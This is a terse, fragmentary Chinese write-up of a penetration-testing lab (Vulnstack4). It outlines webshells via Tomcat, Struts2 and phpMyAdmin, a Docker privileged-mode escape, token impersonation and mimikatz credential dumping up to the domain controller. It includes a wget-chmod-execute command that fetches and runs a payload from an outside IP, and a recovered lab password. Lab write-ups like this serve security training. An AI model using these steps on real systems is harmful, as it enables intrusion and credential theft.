这次环境是3台机器，
web服务器：000000 、DC：000000ydc. 、 win7
web服务器改ip有点麻烦，因为需要root用户才能改，给的ubuntu改不了。
所以我就进入高级模式下，修改了root用户的密码
关于虚拟机没有ipIP解决方案
然后再切到root用户修改ip
这台机器最麻烦，因为UAC开启最高模式，所以无论执行什么东西，都要输入账号密码
https://blog.csdn.net/qq_45300786/article/details/111409422
上线：这里用的是tomcat的getshellstruts2的getshell
tomcat的getshell
phpmyadmin的getshell
在刚刚shell.jsp上分别执行
wget http://192.168.31.96/shell.elf chmod 777 shell.elf ./shell.elfdocker逃逸
换思路吧
利用–privileged特权模式逃逸
权限问题假冒临牌，再次进入shell，使用mimikatz
都是上传mimikatz获取密码
有了域成员的票据后，copy到域控机上，并执行反弹
往域控上传mimikatz，拿到密码administrator/!QAZ2wsx
红日安全ATT＆CK靶机实战系列之vulnstack4
